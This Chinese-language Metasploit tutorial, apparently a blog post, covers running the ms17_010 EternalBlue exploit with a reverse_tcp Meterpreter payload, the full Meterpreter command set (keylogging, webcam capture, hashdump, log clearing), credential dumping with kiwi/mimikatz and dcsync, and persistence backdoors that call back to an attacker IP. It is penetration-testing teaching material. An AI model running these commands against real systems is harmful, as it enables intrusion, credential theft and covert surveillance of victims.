基础使用

1
2
3
4
5
6
7
8
9
10
11
msfconsole										    # 进入框架
search ms17_010 # 使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块
info # 使用info查看模块信息
show targets # 显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统
show payloads # 查看可用的payload,默认reverse_tcp
set payload windows/x64/meterpreter/reverse_tcp # 设置payload
show options # 查看模块需要配置的参数
set RHOST 192.168.100.158 # 设置参数
exploit / run # 攻击
后渗透阶段 # 后渗透阶段

Metasploit框架将攻击与成功利用后执行的内容(payload)分离开来。Metasploit框架中的payload也分为两部分,即stager和stage。stager负责下载大型payload(stage),将其注入内存,并将执行动作传递给它。

img

payload

简单来说,Payload是黑客用来与被黑了的系统交互的简单脚本。使用payload,可以将数据传输到已经沦陷的系统。Metasploit中的 Payload 模块主要有以下三种类型:

Single:
  是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。Singles非常小,旨在建立某种通讯,然后进入下一阶段。例如,只是创建一个用户。

Stager:ed
  这种Payload 负责建立目标用户与攻击者之间的网络连接,是一种攻击者用来将更大的文件上传到沦陷的系统的payload。
  一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。

Stage:
  是由Stagers下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制,如Meterpreter和VNCInjection。

HowPayloads Work

payload模块位于modules/payloads/{singles,stages,stagers}/<platform>

当框架启动时,stages与stagers结合以创建可在漏洞利用中使用的完整的payload。然后,handlers与payload配对,因此框架将知道如何使用给定的通信机制创建会话。

Staged payloads:<platform>/ [arch] / <stage> / <stager>

Single payloads:<platform>/ [arch] / <single>

这会产生像windows/ x64 / meterpreter / reverse_tcp这样的payload。平台是windows,架构是x64,我们提供的最终的stage是meterpreter,而传递它的stager是reverse_tcp

请注意,arch是可选的,因为在某些情况下,它是不必要或者已经默认了。比如php/ meterpreter / reverse_tcp。PHP的payload不需要Arch,因为我们提供的是解释代码而不是二进制代码。

当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表:

注:
  在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload。
  而windows/meterpreter/reverse_tcp 则由一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp组成。

Stager中几种常见的payload:

1
2
3
4
windows/meterpreter/bind_tcp       #正向连接
windows/meterpreter/reverse_tcp #反向连接,常用
windows/meterpreter/reverse_http #通过监听80端口反向连接
windows/meterpreter/reverse_https #通过监听443端口反向连接

正向连接使用场景:
  我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。

反向连接使用场景:
  我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。

反向连接80和443端口使用场景:
  被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。

Meterpreter:

Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

Meterpreter是如何工作的?:

首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。

Meterpreter的特点:

Meterpreter完全驻留在内存,没有写入到磁盘。
Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。
默认情况下, Meterpreter的通信是加密的,所以很安全。
扩展性,许多新的特征模块可以被加载。
在设置payloads 时,可以将payloads设置为:windows/meterpreter/reverse_tcp ,然后获得了meterpreter>就可以干很多事了。

后渗透

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
Meterpreter > ?
==========================================
核心命令:
==========================================
命令 说明
------- ------------
? 帮助菜单
background 把当前会话挂到后台运行
bg background命令的别名
bgkill 杀死后台meterpreter 脚本
bglist 列出正在运行的后台脚本
bgrun 执行一个meterpreter脚本作为后台线程
channel 显示信息或控制活动频道
close 关闭一个频道
detach 分离Meterpreter会话(用于 http/https)
disable_unicode_encoding 禁用 unicode 字符串的编码
enable_unicode_encoding 启用 unicode 字符串的编码
exit 终止 Meterpreter 会话
get_timeouts 获取当前会话超时值
guid 获取会话 GUID
help 帮助菜单
info 显示有关 Post 模块的信息
irb 在当前会话中打开一个交互式 Ruby shell
load 加载一个或多个 Meterpreter 扩展
machine_id 获取连接到会话的机器的 MSF ID
migrate 将服务器迁移到另一个进程
pivot 管理枢轴侦听器
pry 在当前会话上打开 Pry 调试器
quit 终止 Meterpreter 会话
read 从通道读取数据
resource 运行存储在文件中的命令
run 执行一个 Meterpreter 脚本或 Post 模块
secure (重新)协商会话上的 TLV 数据包加密
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 强制 Meterpreter 安静,然后重新建立会话
ssl_verify 修改 SSL 证书验证设置
transport 管理运输机制
use 不推荐使用的load命令别名
uuid 获取当前会话的 UUID
write 将数据写入通道

==========================================
Stdapi:文件系统命令
==========================================

命令 说明
------- ------------
cat 将文件内容读到屏幕上
cd 切换目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件(ls 的别名)
download 下载文件或目录
edit 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 制作目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或目录

==========================================
Stdapi:网络命令
==========================================
命令 说明
------- ------------
arp 显示主机 ARP 缓存
getproxy 显示当前代理配置
ifconfig 显示界面
ipconfig 显示接口
netstat 显示网络连接
portfwd 将本地端口转发到远程服务
resolve 解析目标上的一组主机名
route 查看和修改路由表

==========================================
Stdapi:系统命令
==========================================
命令 说明
------- ------------
clearev 清除事件日志
drop_token 放弃任何活动的模拟令牌。
execute 执行命令
getenv 获取一个或多个环境变量值
getpid 获取当前进程标识符
getprivs 尝试启用当前进程可用的所有权限
getid 获取服务器运行的用户的 SID
getuid 获取服务器运行的用户
kill 终止进程
localtime 显示目标系统本地日期和时间
pgrep 按名称过滤进程
pkill 按名称终止进程
ps 列出正在运行的进程
reboot 重启远程计算机
reg 修改远程注册表并与之交互
rev2self 在远程机器上调用 RevertToSelf()
shell 放入系统命令 shell
shutdown 关闭远程计算机
steal_token 尝试从目标进程窃取模拟令牌
suspend 暂停或恢复进程列表
sysinfo 获取有关远程系统的信息,例如 OS

==========================================
Stdapi:用户界面命令
==========================================
命令 说明
------- ------------
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的截图
setdesktop 更改meterpreters当前桌面
uictl 控制一些用户界面组件

==========================================
Stdapi:网络摄像头命令:
==========================================
命令 说明
------- ------------
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 从指定的网络摄像头播放视频流

==========================================
Stdapi:音频输出命令:
==========================================
命令 说明
------- ------------
play 在目标系统上播放波形音频文件 (.wav)

==========================================
Priv:权限提升命令:
==========================================
命令 说明
------- ------------
getsystem 尝试将您的权限提升到本地系统的权限。

==========================================
Priv:密码数据库命令:
==========================================
命令 说明
------- ------------
hashdump 转储 SAM 数据库的内容

==========================================
Priv:Timestomp 命令:
==========================================
命令 说明
------- ------------
timestomp 操作文件 MACE 属性

meterpreter >

抓取密码

kiwi模块简介:

​ mimikatz模块已经合并为kiwi模块;使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。

前提:

1. 提权到system权限:
1.1 提到system有两个方法:

  一是当前的权限是administrator用户;
  二是利用其它手段先提权到administrator用户。然后administrator用户可以直接在meterpreter_shell中使用命令getsystem提权到system权限。

​ 1.2 进行提权:

1
2
getuid      #查看当前会话用户身份
getsystem #自动尝试提权

2. 进程迁移:

  kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。
      所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。

1、查看当前系统信息,可以看出目标系统是64位的:
命令:

1
sysinfo #查看当前系统信息

2、查看进程信息:
命令:

1
ps  #查看进程

3、把进程迁移到PID为504这个程序中(因为当前用户):
注:因为目标系统是64位的所以需要把meterpreter进程迁移到一个64位程序的进程中。
命令:

1
migrate [PID]   

三、kiwi模块的使用:

1
2
load kiwi #加载kiwi模块
help kiwi #查看kiwi模块的使用

一些有关密码和凭据的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
creds_all:             #列举所有凭据
creds_kerberos: #列举所有kerberos凭据
creds_msv: #列举所有msv凭据
creds_ssp: #列举所有ssp凭据
creds_tspkg: #列举所有tspkg凭据
creds_wdigest: #列举所有wdigest凭据
dcsync: #通过DCSync检索用户帐户信息
dcsync_ntlm: #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create: #创建黄金票据
kerberos_ticket_list: #列举kerberos票据
kerberos_ticket_purge: #清除kerberos票据
kerberos_ticket_use: #使用kerberos票据
kiwi_cmd: #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam: #dump出lsa的SAM
lsa_dump_secrets: #dump出lsa的密文
password_change: #修改密码
wifi_list: #列出当前用户的wifi配置文件
wifi_list_shared: #列出共享wifi配置文件/编码

1. creds_all:

该命令可以列举系统中的明文密码:
命令:

1
creds_all  #列举所有凭据

2. kiwi_cmd:

1
2
3
kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令:

kiwi_cmd sekurlsa::logonpasswords

生成持续性后门

因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。

建立持续性后门有两种方法,一种是通过启动项启动(persistence) ,一种是通过 服务启动(metsvc)

启动项启动

启动项启动的话,我们先生成一个后门工具,传送门——> 使用msfvenom生成多平台后门木马

然后放到windows的启动目录中:

1
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。

服务启动

通过服务启动,我们可以运行命令

1
2
3
run persistence -X -i 5 -p 8888 -r 192.168.10.27  #反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀

#然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动

https://zhuanlan.zhihu.com/p/61412226

https://blog.csdn.net/weixin_45588247/article/details/119614618

meterpreter后渗透攻击部分命令

MSF中kiwi(mimikatz)模块的使用

https://www.anquanke.com/post/id/235631#h3-28

https://wangjun.dev/2016/04/metasploit-generate-backdoor/